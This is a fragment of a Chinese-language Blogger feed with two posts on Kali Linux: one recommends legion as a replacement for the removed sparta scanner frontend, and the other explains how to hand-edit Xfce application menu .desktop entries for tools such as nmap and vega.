width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1967825056283652287.post-222920696583095928</id><published>2021-09-08T14:02:00.000+08:00</published><updated>2021-09-08T20:49:16.960+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Kali"/><category scheme="http://www.blogger.com/atom/ns#" term="資安工具"/><category scheme="http://www.blogger.com/atom/ns#" term="資訊安全"/><title type='text'>Kali的sparta整合工具不見了，請改用legion</title><content type='html'>&lt;div style=&quot;border: 3px solid rgb(8, 108, 197); font-size: 14pt; line-height: 150%; padding: 8px;&quot;&gt;
&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;
sparta是一款圖形化的整合型掃描與枚舉平台，本身並沒有掃描功能，但它將nmap、Nikto、hydra、nbtscan等多種工具整合在一起，我們只要提供待測目標的網址清單，sparta就會利用nmap掃描，再依照掃描結果調用其他工具做後續處理，可替滲透測試人節省掉很多時間。&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgd7gyi0QrZp3LAri7L0trPNdvl7aLmb1hzoTx9PaxYfi21WDD5FMxiaOokYmglBnxDGEKSL4FlqCxi6ZjhcLqF1PBF76dAWk0b42gwz9jqI0FARpyri_uZpxj13dS7Q6VtT8zs_s_laCnj/s1029/Fig_07-12.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;sparta&quot; border=&quot;0&quot; data-original-height=&quot;790&quot; data-original-width=&quot;1029&quot; height=&quot;308&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgd7gyi0QrZp3LAri7L0trPNdvl7aLmb1hzoTx9PaxYfi21WDD5FMxiaOokYmglBnxDGEKSL4FlqCxi6ZjhcLqF1PBF76dAWk0b42gwz9jqI0FARpyri_uZpxj13dS7Q6VtT8zs_s_laCnj/w400-h308/Fig_07-12.PNG&quot; title=&quot;sparta執行畫面&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;
由於sparta的開發者已不在維護，而它的執行環境是python 2.6，也是已過時的版本，故Kali自2019.4版之後就移除sparta了，對於習慣使用sparta從事滲透測試者，或許可以&lt;span style=&quot;color: #cc0000;&quot;&gt;&lt;b&gt;改用legion&lt;/b&gt;&lt;/span&gt;，&lt;span style=&quot;color: #38761d;&quot;&gt;legion的操作介面幾乎和sparta一樣&lt;/span&gt;。不過，Kali並未事先安裝legion，需要自己動手：
&lt;/p&gt;
&lt;div style=&quot;border: 2px solid rgb(246, 13, 221); font-size: 14pt; line-height: 100%; padding: 8px;&quot;&gt;
&lt;b&gt;apt-get install legion
&lt;/b&gt;&lt;/div&gt;
  &lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUU0XeY7t9zTuM5CnoAvUeToUXg10R546eOrHheWvAs03UzNixHnv5sEg0aBNvRk30MCcf5GNEmc7EtXxaztfnYCVfOw0JDlDg_tZNd9hCQ258t5NQszs_cwLOswx2iScExuIASrL95HD_/s1191/Fig_07-13.PNG&quot; style=&quot;display: block; padding: 1em 0px; text-align: center;&quot;&gt;&lt;img alt=&quot;legion執行畫面&quot; border=&quot;0&quot; data-original-height=&quot;887&quot; data-original-width=&quot;1191&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUU0XeY7t9zTuM5CnoAvUeToUXg10R546eOrHheWvAs03UzNixHnv5sEg0aBNvRk30MCcf5GNEmc7EtXxaztfnYCVfOw0JDlDg_tZNd9hCQ258t5NQszs_cwLOswx2iScExuIASrL95HD_/s400/Fig_07-13.PNG&quot; title=&quot;legion執行畫面&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
 &lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;安裝後，可參考「&lt;a href=&quot;http://atic-tw.blogspot.com/2021/09/kaliapplications-menu.html&quot;&gt;自定Kali應用程式選單（Applications Menu） 的項目（成員）&lt;/a&gt;」這篇的作法，將legion加到Kali應用程式選單中，底下就是筆者的legion.desktop內容，加入選單後，就可分別從「&lt;span style=&quot;color: #2b00fe;&quot;&gt;01-信息收集&lt;/span&gt;─&amp;gt;&lt;span style=&quot;color: #38761d;&quot;&gt;情報分析&lt;/span&gt;」及「&lt;span style=&quot;color: #2b00fe;&quot;&gt;05-密碼攻擊&lt;/span&gt;─&amp;gt;&lt;span style=&quot;color: #38761d;&quot;&gt;在線攻擊&lt;/span&gt;」兩處找到legion：
&lt;/p&gt;
&lt;div style=&quot;border: 2px solid rgb(246, 13, 221); font-size: 14pt; line-height: 140%; padding: 4px;&quot;&gt;
[Desktop Entry]&lt;br /&gt;
Name=legion(Sparta)&lt;br /&gt;
Encoding=UTF-8&lt;br /&gt;
Exec=legion&lt;br /&gt;
Icon=kali-menu&lt;br /&gt;
StartupNotify=false&lt;br /&gt;
Terminal=true&lt;br /&gt;
Type=Application&lt;br /&gt;
Categories=01-07-osint-analysis;05-01-online-attacks;&lt;br /&gt;
X-Kali-Package=legion&lt;br /&gt;
&lt;/div&gt;
  &lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuLU6AtCaGhrmspCbShW5fP-fUaitVZQP-8QgbCH3rGOhaVL4JiQY7U_2hsV8WSlMO9d0uT8SrLBdphnkkHqDAHS5QSsrYcGMEcq2uTGSs-FF4cQuKbLcOWuHo5FI_cMH-qBJmLCPk0l0K/s629/Fig_07-14.PNG&quot; style=&quot;display: block; padding: 1em 0px; text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; data-original-height=&quot;629&quot; data-original-width=&quot;578&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuLU6AtCaGhrmspCbShW5fP-fUaitVZQP-8QgbCH3rGOhaVL4JiQY7U_2hsV8WSlMO9d0uT8SrLBdphnkkHqDAHS5QSsrYcGMEcq2uTGSs-FF4cQuKbLcOWuHo5FI_cMH-qBJmLCPk0l0K/s400/Fig_07-14.PNG&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://atic-tw.blogspot.com/feeds/222920696583095928/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://atic-tw.blogspot.com/2021/09/kalispartalegion.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/222920696583095928'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/222920696583095928'/><link rel='alternate' type='text/html' href='http://atic-tw.blogspot.com/2021/09/kalispartalegion.html' title='Kali的sparta整合工具不見了，請改用legion'/><author><name>雅技資訊技術</name><uri>http://www.blogger.com/profile/06948808120337987647</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgd7gyi0QrZp3LAri7L0trPNdvl7aLmb1hzoTx9PaxYfi21WDD5FMxiaOokYmglBnxDGEKSL4FlqCxi6ZjhcLqF1PBF76dAWk0b42gwz9jqI0FARpyri_uZpxj13dS7Q6VtT8zs_s_laCnj/s72-w400-h308-c/Fig_07-12.PNG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1967825056283652287.post-7056404982987090411</id><published>2021-09-08T11:28:00.001+08:00</published><updated>2021-09-08T11:29:40.196+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Kali"/><category scheme="http://www.blogger.com/atom/ns#" term="資安工具"/><title type='text'>自定Kali應用程式選單（Applications Menu） 的項目（成員）</title><content type='html'>&lt;div style=&quot;border: 3px solid rgb(234, 193, 23); font-size: 14pt; line-height: 150%; padding: 8px;&quot;&gt;
&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;Kali以前使用Gnome桌面，可以透過Alacarte工具編輯應用程式選單。改用Xfce桌面後，還是可以安裝Alacarte，但是它只能編輯現有項目的屬性，卻無法新增項目。&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;網路推薦的Xfce選單編輯器是&lt;span style=&quot;color: #2b00fe;&quot;&gt;&lt;b&gt;menulibre&lt;/b&gt;&lt;/span&gt;，安裝後一執行卻出現「&lt;span style=&quot;color: red;&quot;&gt;MenuLibre cannot be run as root.&lt;/span&gt;」，不能用root執行，偏偏我已習慣用root操作Kali。&lt;/p&gt;&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWDHckXyVHmxqt8hWUj-JQUYVJwJnkI407wkeZANPM3jJasM7PxsH92ngvdlXYBFkDnMZrC9btneRA4FINS2sv4poq2Gv5nFTWKguN78h4xIby7EO_siIjecrOstGe2o0n6DPoJRv6-ncZ/s551/kali-001.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;145&quot; data-original-width=&quot;551&quot; height=&quot;105&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWDHckXyVHmxqt8hWUj-JQUYVJwJnkI407wkeZANPM3jJasM7PxsH92ngvdlXYBFkDnMZrC9btneRA4FINS2sv4poq2Gv5nFTWKguN78h4xIby7EO_siIjecrOstGe2o0n6DPoJRv6-ncZ/w400-h105/kali-001.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;為此，另外建了一組帳號，再執行「&lt;b&gt; su - kali -c menulibre&lt;/b&gt;」，這次出現別的錯誤：&lt;/p&gt;
&lt;div style=&quot;border: 2px solid rgb(246, 13, 221); font-size: 10pt; line-height: 100%; padding: 4px;&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;root@kali-2020-3&lt;/span&gt;:&lt;span style=&quot;color: #2b00fe;&quot;&gt;&lt;span style=&quot;color: #3d85c6;&quot;&gt;~&lt;/span&gt;#&lt;/span&gt; su - kali -c menulibre&lt;br /&gt;

┏━(Message from Kali developers)&lt;br /&gt;
┃&lt;br /&gt;
┃ We have kept /usr/bin/python pointing to Python 2 for backwards&lt;br /&gt;
┃ compatibility. Learn how to change this and avoid this message:&lt;br /&gt;
┃ ⇒ https://www.kali.org/docs/general-use/python3-transition/&lt;br /&gt;
┃&lt;br /&gt;
┗━(&lt;span style=&quot;color: #b45f06;&quot;&gt;Run: “touch ~/.hushlogin” to hide this message&lt;/span&gt;)&lt;br /&gt;
Unable to init server: Could not connect: Connection refused&lt;br /&gt;
Unable to init server: 無法連接：Connection refused&lt;br /&gt;

&lt;br /&gt;
(menulibre:4377): Gtk-CRITICAL **: 08:10:06.059: gtk_icon_theme_get_for_screen: assertion &#39;GDK_IS_SCREEN (screen)&#39; failed&lt;br /&gt;
No menu prefix found, MenuLibre will not function properly.&lt;br /&gt;
Unable to init server: 無法連接：Connection refused&lt;br /&gt;

&lt;br /&gt;
(menulibre:4377): Gtk-WARNING **: 08:10:06.082: cannot open display:&amp;nbsp;&lt;/div&gt;
&lt;p&gt;實在不想花太多時間去處理偶爾才用一次的功能，最後還是將menulibre移除了。&lt;/p&gt;
&lt;hr /&gt;
&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;&lt;b&gt;為什麼需要編輯功能表？&lt;/b&gt;因為新安裝工具後，若一段時間不用，常忘了工具的名稱，如果能將工具安排在選單裡，就算忘了名稱，大概還記得工具的類型，較容易從選單裡找到。&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;既然Alacarte及menulibre不能用，就改用&lt;b&gt;手工編輯&lt;/b&gt;吧！反正偶爾才用一次。&lt;/p&gt;
&lt;div style=&quot;background-color: #f8b5af; border: 2px solid rgb(248, 27, 5); padding: 4px;&quot;&gt;
  &lt;p style=&quot;margin-left: 3em; text-indent: -3em;&quot;&gt;
    &lt;span style=&quot;color: #cc0000;&quot;&gt;&lt;b&gt;注意：&lt;/b&gt;&lt;/span&gt;&lt;b&gt;這不是標準，也非精確的作法，只是剛好解決在應用程式選單加入新項目的需求。&lt;/b&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;首先是xfce的選單項目是存放在「&lt;span style=&quot;color: #0b84da;&quot;&gt;/usr/share/kali-menu/applications/&lt;/span&gt;」目錄裡，每個項目的副檔名是「&lt;span style=&quot;color: #38761d;&quot;&gt;.desktop&lt;/span&gt;」，就以「Kali-nmap.desktop」為例，其內容如下：&lt;/p&gt;
&lt;div style=&quot;border: 2px solid rgb(100, 237, 108); padding: 6px;&quot;&gt;
[Desktop Entry]&lt;br /&gt;
Name=nmap&lt;br /&gt;
Encoding=UTF-8&lt;br /&gt;
Exec=/usr/share/kali-menu/exec-in-shell &quot;nmap&quot;&lt;br /&gt;
Icon=kali-nmap&lt;br /&gt;
StartupNotify=false&lt;br /&gt;
Terminal=true&lt;br /&gt;
Type=Application&lt;br /&gt;
Categories=01-info-gathering;01-04-network-scanners;02-vulnerability-analysis;&lt;br /&gt;
X-Kali-Package=nmap&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;這是&lt;b&gt;相對單純&lt;/b&gt;的項目內容，還有其他更複雜的項目，但這個單純範例已符合我的需要！當需要新增項目的，就可以直接複製Kali-nmap.desktop來修改，例如要增加一個vega選項：&lt;/p&gt;
&lt;div style=&quot;border: 2px solid rgb(100, 237, 108); padding: 4px;&quot;&gt;&lt;span style=&quot;color: #0b5394;&quot;&gt;cp Kali-nmap.desktop vega.desktop&lt;/span&gt;&lt;/div&gt;
&lt;p&gt;然後編輯vega.desktop，如下：&lt;/p&gt;
&lt;div style=&quot;border: 2px solid rgb(100, 237, 108); padding: 4px;&quot;&gt;
[Desktop Entry]&lt;br /&gt;
Name=&lt;b&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;vega&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
Encoding=UTF-8&lt;br /&gt;
Exec=&lt;b&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;vega&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
Icon=&lt;b&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;kali-menu&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
StartupNotify=false&lt;br /&gt;
Terminal=true&lt;br /&gt;
Type=Application&lt;br /&gt;
Categories=&lt;b&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;01-info-gathering;03-05-web-vulnerability-scanners;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
X-Kali-Package=&lt;b&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;vega&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;主要修改部分如&lt;b&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;紅粗字&lt;/span&gt;&lt;/b&gt;，&lt;b&gt;&lt;span style=&quot;background-color: #fcff01;&quot;&gt;接著將此檔案複製一份到「&lt;span style=&quot;color: #3d85c6;&quot;&gt;/usr/share/applications/&lt;/span&gt;」&lt;/span&gt;&lt;/b&gt;，這樣就完成選單項目新增，如下圖黃圈的vega就是我手工加到選單上的。當然，只要將檔案刪除就可移除選單項目。&lt;/p&gt;
  &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjqG6Y1TRJhPGIoqg1tJqBBMITvdPSytCukaXV2fYp4CdK1MaWb5o1jnBCXVLJfFqqvS9CDYsi5A-GAOaySlE_Zxw6SD7o6kdhw48rPnBWX6xxcV4dSe8cC3ibHgEsSjTreUImLAz5mAzn/s623/kali-004.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;623&quot; data-original-width=&quot;579&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjqG6Y1TRJhPGIoqg1tJqBBMITvdPSytCukaXV2fYp4CdK1MaWb5o1jnBCXVLJfFqqvS9CDYsi5A-GAOaySlE_Zxw6SD7o6kdhw48rPnBWX6xxcV4dSe8cC3ibHgEsSjTreUImLAz5mAzn/w371-h400/kali-004.PNG&quot; width=&quot;371&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;&lt;b&gt;&lt;span style=&quot;color: #990000;&quot;&gt;再說一次，這不是標準作法，只是剛好解決增、刪、改選單項目的要求。&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;font-size: 16pt;&quot;&gt;&lt;b&gt;檔案內容說明&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;border: 2px solid rgb(100, 237, 108); padding: 4px;&quot;&gt;
[Desktop Entry]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #38761d;&quot;&gt;# 區段名稱，不需修改&lt;/span&gt;&lt;br /&gt;
Version=1.0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #38761d;&quot;&gt;# 版號&lt;/span&gt;&lt;br /&gt;
Name=&lt;span style=&quot;color: #990000;&quot;&gt;vega&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: #38761d;&quot;&gt;# 呈現的名稱，各語系通用，&lt;span style=&quot;color: #990000;&quot;&gt;要修改&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
Comment=Web vulnerability Scanner&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #38761d;&quot;&gt;# 提示文字，當滑鼠停駐項目時彈出，各語系通用&lt;/span&gt;&lt;br /&gt;
Name[zh_CN]=vega&lt;span class=&quot;VIiyi&quot; lang=&quot;zh-CN&quot;&gt;
&lt;span class=&quot;JLqJ4b&quot; data-language-for-alternatives=&quot;zh-CN&quot; data-language-to-translate-into=&quot;zh-CN&quot; data-phrase-index=&quot;0&quot;&gt;
&lt;span&gt;扫描&lt;/span&gt;
&lt;/span&gt;
&lt;/span&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #38761d;&quot;&gt;# &lt;span style=&quot;color: #cc0000;&quot;&gt;zh_CN&lt;/span&gt;，作業系統使用&lt;span style=&quot;color: #cc0000;&quot;&gt;簡中&lt;/span&gt;語系時呈現的名稱&lt;/span&gt;&lt;br /&gt;
Comment[zh_CN]=&lt;span class=&quot;VIiyi&quot; lang=&quot;zh-CN&quot;&gt;
&lt;span class=&quot;JLqJ4b&quot; data-language-for-alternatives=&quot;zh-CN&quot; data-language-to-translate-into=&quot;zh-CN&quot; data-phrase-index=&quot;0&quot;&gt;
&lt;span&gt;Web漏洞扫描工具&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #38761d;&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #38761d;&quot;&gt; &lt;span style=&quot;color: #cc0000;&quot;&gt;zh_CN&lt;/span&gt;，作業系統使用&lt;span style=&quot;color: #cc0000;&quot;&gt;簡中&lt;/span&gt;語系時呈現的提示文字&lt;/span&gt;&lt;br /&gt;
Name[zh_TW]=vega&lt;span class=&quot;VIiyi&quot; lang=&quot;zh-CN&quot;&gt;
&lt;span class=&quot;JLqJ4b&quot; data-language-for-alternatives=&quot;zh-CN&quot; data-language-to-translate-into=&quot;zh-CN&quot; data-phrase-index=&quot;0&quot;&gt;
&lt;span&gt;掃描&lt;/span&gt;
&lt;/span&gt;
&lt;/span&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #38761d;&quot;&gt;# &lt;span style=&quot;color: #cc0000;&quot;&gt;zh_TW&lt;/span&gt;，作業系統使用&lt;span style=&quot;color: #cc0000;&quot;&gt;繁中&lt;/span&gt;語系時呈現的名稱&lt;/span&gt;&lt;br /&gt;
Comment[zh_TW]=&lt;span class=&quot;VIiyi&quot; lang=&quot;zh-CN&quot;&gt;
&lt;span class=&quot;JLqJ4b&quot; data-language-for-alternatives=&quot;zh-CN&quot; data-language-to-translate-into=&quot;zh-CN&quot; data-phrase-index=&quot;0&quot;&gt;
&lt;span&gt;Web漏洞&lt;/span&gt;
&lt;/span&gt;
&lt;/span&gt;
&lt;span class=&quot;VIiyi&quot; lang=&quot;zh-CN&quot;&gt;
&lt;span class=&quot;JLqJ4b&quot; data-language-for-alternatives=&quot;zh-CN&quot; data-language-to-translate-into=&quot;zh-CN&quot; data-phrase-index=&quot;0&quot;&gt;
&lt;span&gt;
&lt;span class=&quot;VIiyi&quot; lang=&quot;zh-CN&quot;&gt;
&lt;span class=&quot;JLqJ4b&quot; data-language-for-alternatives=&quot;zh-CN&quot; data-language-to-translate-into=&quot;zh-CN&quot; data-phrase-index=&quot;0&quot;&gt;
&lt;span&gt;掃描&lt;/span&gt;
&lt;/span&gt;
&lt;/span&gt;工具&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #38761d;&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt; zh_TW&lt;/span&gt;，作業系統使用&lt;span style=&quot;color: #cc0000;&quot;&gt;繁中&lt;/span&gt;語系時呈現的提示文字&lt;/span&gt;&lt;br /&gt;
Encoding=UTF-8&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #38761d;&quot;&gt;# 編碼格式&lt;/span&gt;&lt;br /&gt;
Type=Application&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #38761d;&quot;&gt;# 類型&amp;nbsp;&amp;nbsp; Application，或Link&lt;/span&gt;&lt;br /&gt;
Exec=vega&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #38761d;&quot;&gt;# 選擇此項目時要執行的命令，如同手動在終端機執行&lt;/span&gt;&lt;br /&gt;
Icon=&lt;span style=&quot;color: #990000;&quot;&gt;kali-menu&lt;/span&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #38761d;&quot;&gt;# 此選單項目的圖示，請參考下列「&lt;b&gt;Icon的來源&lt;/b&gt;」段&lt;/span&gt;&lt;br /&gt;
StartupNotify=false&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #38761d;&quot;&gt;# 啟動時，要不要顯示提示視窗？反正設為false就對了&lt;/span&gt;&lt;br /&gt;
Terminal=true&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #38761d;&quot;&gt;# ？？ 不清楚，照著設為true&lt;/span&gt;&lt;br /&gt;
Categories=&lt;span style=&quot;color: #990000;&quot;&gt;02-vulnerability-analysis;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #38761d;&quot;&gt; # 要放在選單的哪個分類下，若要放在多個分類，請用「;」分隔，至於怎麼找到分類名稱，請參考下面「&lt;b&gt;分類名稱來源&lt;/b&gt;」段的說明&lt;/span&gt;&lt;br /&gt;
X-Kali-Package=&lt;span style=&quot;color: #990000;&quot;&gt;vega&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #38761d;&quot;&gt;# kali裡的套件名稱&lt;/span&gt;&amp;nbsp;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;除了&lt;span style=&quot;color: #2b00fe;&quot;&gt;Type=Application&lt;/span&gt;使用用Exec執行命令外，如果「&lt;span style=&quot;color: #2b00fe;&quot;&gt;Type=Link&lt;/span&gt;」則可透過「&lt;span style=&quot;color: #2b00fe;&quot;&gt;URL=&amp;lt;URL&amp;gt;&lt;/span&gt;」指定欲由預設瀏覽器開啟的網址。&lt;/p&gt;
